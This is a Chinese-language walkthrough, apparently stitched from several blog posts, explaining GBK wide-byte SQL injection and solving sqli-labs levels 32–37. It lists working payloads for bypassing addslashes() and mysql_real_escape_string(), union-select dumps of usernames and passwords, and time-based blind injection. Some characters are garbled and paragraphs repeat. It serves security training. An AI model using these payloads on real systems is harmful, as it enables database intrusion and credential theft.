补充知识：宽字节注入
定义：GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节，实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象，即将两个ascii字符误认为是一个宽字节字符
原理：GBK注射、宽字节注入
在使用PHP连接MySQL的时候，当设置“set character_set_client = gbk”时会导致一个编码转换的问题，也就是我们熟悉的宽字节注入，当存在宽字节注入的时候，注入参数里带入％ DF％27，即可把（％5C）吃掉，举个例子。
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
当提交id=1‘ and 1=1%23时，
MySQL的运行的SQL语句为
select * from user where id =‘1\‘ and 1=1#‘
1
很明显这是没有注入成功的，而当我们提交
id=1%df‘ and 1=1%23
1
MySQL的运行的SQL语句为
select * from user where id =‘1運‘ and 1=1#‘
1
我们这里的宽字节注入是利用的MySQL的一个特性，MySQL的在使用GBK编码的时候，会认为两个字符是一个汉字（前一个ASCII码要大于128，才到汉字的范围）。这就是MySQL的的特性，因为GBK是多字节编码，他认为两个字节代表一个汉字，所以％DF和后面的\也就是％5c中变成了一个汉字“运”，而“逃逸了出来。
原文链接：https://blog.csdn.net/heiseweiye/article/details/82723478
宽字节注入原理即是利用编码转换，将服务器端强制添加的本来用于转义的\符号吃掉，从而能使攻击者输入的引号起到闭合作用，以至于可以进行SQL注入。
原文链接：https://blog.csdn.net/helloc0de/article/details/76180190
推荐解码网站：http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
输入： ？Id=1 回显正常；
方法一：
输入：?id=1‘ 回显正常，但发现单引号被转义了；
输入：？Id=1%df’ 回显错误，出现报错；
输入： ？Id=1%df%27’ 同样回显错误，出现报错；
输入：？Id=1%df’ --+ 回显正常；
输入：?id=1%df‘ order by 3/4--+ 查询到有多少列；
输入：?id=-1%df‘ union select 1,2,3 --+ 查看回显位置；
接下来操作和less1基本一致。
方法二：
%5c代表\ 只要是我们能将返回的结果中对于单引号没有转义字符进行处理即可；
就是将字母组合让他形成一个宽字节 %aa%5c （其中aa可以替换为其他）
输入：?id=-1 %aa%5c‘ union select 1,2,3 --+ 可以查看回显位置；
后面操作和less1基本一致。
输入： ？Id=1’ 回显正常，但发现单引号被转义了；
同第32关相同，我们可以使用宽字节注入的方法；
方法一：宽字节注入
输入 ?id=1%df‘ --+ 回显正常；
输入?id=1%df‘ order by 3/4 --+ 可查看有多少列；
输入?id=-1%df‘ union select 1,2,3 --+ 可查看回显位置；
其他操作和less1基本一致。
方法二：自定义闭合
输入?id=-1 %aa%5c%27 union select 1,2,3--+ 回显正常；
其他操作和less1基本一致。
首先我们查询admin密码：
使用admin 111111 进行登录，登录成功；
使用admin admin进行登录，登陆失败；
查看源码：
可知本关也使用了addslashes()函数，理论上我们可以使用前几关中的宽字节注入的方法进行测试，但是测试的时候发现，方法并不奏效。（主要原因是因为我们不能够直接在POST中传入数据，因为会被再次编码）；
分析：在get型传参的时候使用URLencode，所以我们可以使用以下两种方法：
方法一：我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à ?’
方法二：我们使用burpsuite进行抓包之后对数据进行宽字节注入
方法一：
在POST中传入的数据：1 ?‘ union select 1,2# （注意：在这里不能够再使用--+ -- 空格等这样的注释符，推荐使用#）其中 第一个1是随意的数字
方法二：
输入 a%df’ a%df’
进行抓包：
我们在这个里面改的时候，通过burpsuite抓包发现还是会给我们加上%25，所以我们直接在burpsuite中修改信息得到返回信息即可
查看源代码得知第35关没有包裹；
方法一：联合查询
输入： ?id=-1 union select 1,2,3--+ 得到显示位置；
剩下步骤和less1基本一致。
查库：?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+
查表：?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --+
查字段：?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+
查字段中的值：?id=-1 union select 1,2,group_concat(concat(‘~‘,username,password)) from security.users--+
方法二：使用时间盲注
输入：?id=1 and if(length(database())=1,1,sleep(5) )，发现延时；
接下来操作与其他时间盲注操作基本一致。
查看源码得知第36关使用‘’包裹，且使用下面函数；
输入?id=1’ 回显正常，但’被转义；
使用宽字节注入
输入：?id=-1%df‘ union select 1,2,3 --+ 得到回显位置；
输入： ?id=-1%df‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 --+ 查表；
输入： ?id=-1%df’ union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+ 得到字段的值；
其他操作与less1基本一致。
使用admin 111111登陆成功；
使用admin admin，登陆失败；
可见与第34关一致， 与34关基本相似，本关只是将过滤函数进行了替换： mysql_real_escape_string()，同样，我们可以直接按照34关的方法即可！
分析：在get型传参的时候使用URLencode，所以我们可以使用以下两种方法：
方法一：我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à ?‘ ；
方法二：我们使用burpsuite进行抓包之后对数据进行宽字节注入。
方法一：
在POST中传入的数据：1 ?‘ union select 1,2# （注意：在这里不能够再使用--+ -- 空格等这样的注释符，推荐使用#）其中 第一个1是随意的数字
方法二：
输入 a%df’ a%df’
进行抓包：
我们在这个里面改的时候，通过burpsuite抓包发现还是会给我们加上%25，所以我们直接在burpsuite中修改信息得到返回信息即可
原文：https://www.cnblogs.com/199904-04/p/12296514.html